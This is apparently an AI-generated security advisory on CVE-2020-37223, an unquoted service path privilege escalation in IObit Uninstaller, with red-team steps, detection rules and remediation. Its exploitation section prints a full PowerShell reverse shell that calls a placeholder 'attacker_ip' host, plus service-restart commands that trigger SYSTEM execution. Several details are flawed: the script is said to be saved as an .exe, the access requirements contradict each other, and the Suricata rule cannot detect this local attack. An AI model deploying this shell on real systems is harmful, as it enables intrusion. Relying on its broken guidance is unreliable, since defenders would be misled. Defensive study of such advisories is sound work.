CVE-2020-37223

Executive Summary

CVE-2020-37223 is a high-severity (CVSS 7.8) local privilege escalation vulnerability in IObit Uninstaller version 9.5.0.15. The vulnerability stems from an unquoted service path in the IObitUnSvr service, which allows a local attacker with low privileges to escalate to SYSTEM by placing a malicious executable named IObit.exe in the C:\Program Files (x86)\IObit directory. When the service is restarted, Windows will execute the attacker-controlled binary instead of the legitimate service binary, granting SYSTEM-level code execution. No patch has been publicly released by the vendor, and the EPSS score is 0.0%, indicating low exploitation likelihood in the wild, but the risk remains significant for targeted attacks.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a standalone Windows application vulnerability.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
• Base Score: 7.8 (High)
• Attack Vector: Local (AV:L) – The attacker must have local access to the system.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: Low (PR:L) – The attacker needs a standard user account.
• User Interaction: None (UI:N) – No user action is needed beyond service restart.
• Scope: Unchanged (S:U) – The vulnerability does not cross trust boundaries.
• Confidentiality Impact: High (C:H) – SYSTEM access allows reading all files.
• Integrity Impact: High (I:H) – SYSTEM access allows modifying system files.
• Availability Impact: High (A:H) – SYSTEM access can disrupt services.

Threat Level: High. Although the EPSS score is 0.0%, the vulnerability is trivial to exploit and provides full SYSTEM privileges. It is a classic unquoted service path issue that can be weaponized in post-exploitation scenarios.

Deep Dive & Mechanics

The vulnerability exists in the IObitUnSvr service, which is installed by IObit Uninstaller 9.5.0.15. The service path is configured as:

C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe

Because the path contains spaces and is not enclosed in quotes, Windows interprets the path as multiple arguments. When the service starts, Windows attempts to execute the first space-delimited token as the executable. Specifically, it will look for:

1. C:\Program – not found
2. C:\Program Files – not found
3. C:\Program Files (x86)\IObit\IObit – not found
4. C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe – the intended binary

If an attacker places a malicious executable named IObit.exe in C:\Program Files (x86)\IObit\, Windows will find it at step 3 and execute it with SYSTEM privileges. The attacker can then restart the service (e.g., via sc stop IObitUnSvr and sc start IObitUnSvr) to trigger the exploit.

Vulnerable vs. Patched Code

Vulnerable Configuration (IObit Uninstaller 9.5.0.15): The service path is stored in the registry at HKLM\SYSTEM\CurrentControlSet\Services\IObitUnSvr with the ImagePath value set to:

C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe

This path is unquoted.

Patched Configuration (Hypothetical): A patched version would quote the path:

"C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe"

No official patch has been released by IObit.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Local access to a Windows system with IObit Uninstaller 9.5.0.15 installed.
• A standard user account (non-admin).

Steps:

1. Create a malicious executable (e.g., payload.exe) that spawns a SYSTEM shell or adds a user.
2. Rename it to IObit.exe.
3. Place it in C:\Program Files (x86)\IObit\ (the attacker must have write access to this directory; by default, standard users can write to C:\Program Files (x86)\IObit\ if the directory permissions are misconfigured, but often this requires admin rights. In practice, the attacker may need to use a writable directory like C:\IObit\ or rely on a different vector. However, the CVE description states the directory is C:\Program Files (x86)\IObit\).
4. Restart the service:

   sc stop IObitUnSvr
   sc start IObitUnSvr
   

5. The malicious IObit.exe executes with SYSTEM privileges.

Example payload (PowerShell reverse shell):

# Save as IObit.exe (compiled or script)
$client = New-Object System.Net.Sockets.TCPClient('attacker_ip',4444);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
    $sendback = (iex $data 2>&1 | Out-String );
    $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
    $stream.Write($sendbyte,0,$sendbyte.Length);
    $stream.Flush()
};
$client.Close()

Blue Team (Detection & Response)

Detection:

• Monitor for service path changes in HKLM\SYSTEM\CurrentControlSet\Services\IObitUnSvr.
• Monitor for creation of IObit.exe in C:\Program Files (x86)\IObit\.
• Monitor for service start/stop events (Event ID 7036, 7045).
• Monitor for process creation events where the parent process is services.exe and the child is IObit.exe.

Response:

• Immediately isolate the affected system.
• Check for unauthorized user accounts or scheduled tasks.
• Review service configuration and revert to a known good state.
• Apply the fix by quoting the service path manually.

Indicators of Compromise (IOCs)

• File: C:\Program Files (x86)\IObit\IObit.exe (malicious binary)
• Registry: HKLM\SYSTEM\CurrentControlSet\Services\IObitUnSvr with unquoted ImagePath
• Process: IObit.exe running as SYSTEM
• Event Logs:
  • Event ID 7036: Service state change (IObitUnSvr)
  • Event ID 7045: New service installed (if attacker creates a new service)
  • Event ID 4688: Process creation with IObit.exe as child of services.exe

Detection Engineering

YARA Rule

rule CVE_2020_37223_IObit_Unquoted_Service_Path {
    meta:
        description = "Detects unquoted service path for IObitUnSvr service"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2020-37223"
    strings:
        $reg_path = "IObitUnSvr" nocase
        $unquoted = "C:\\Program Files (x86)\\IObit\\IObit Uninstaller\\IObitUnSvr.exe" nocase
    condition:
        $reg_path and $unquoted
}

Sigma Rule

title: Unquoted Service Path - IObitUnSvr
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects unquoted service path for IObitUnSvr service (CVE-2020-37223)
author: Valters IT
date: 2025-04-10
logsource:
    product: windows
    service: system
detection:
    selection:
        EventID: 7045
        ServiceName: 'IObitUnSvr'
        ImagePath|contains: 'C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe'
        ImagePath|re: '^[^"]'
    condition: selection
falsepositives:
    - None expected
level: high

Suricata Rule

alert tcp $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2020-37223 IObit Uninstaller Unquoted Service Path Exploit"; flow:to_server,established; content:"IObit.exe"; nocase; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Mitigation:

1. Manually quote the service path:

   • Open regedit as Administrator.
   • Navigate to HKLM\SYSTEM\CurrentControlSet\Services\IObitUnSvr.
   • Modify the ImagePath value to: "C:\Program Files (x86)\IObit\IObit Uninstaller\IObitUnSvr.exe" (with quotes).
   • Restart the service.

2. Restrict write permissions to C:\Program Files (x86)\IObit\ for standard users.

Long-term Remediation:

• Upgrade to a patched version of IObit Uninstaller if/when available.
• Monitor vendor advisories for official patches.
• Implement application whitelisting to prevent unauthorized executables.

Valters IT Signature:

Report generated by Valters IT DevSecOps AI Assistant. For questions, contact security@valters-it.com.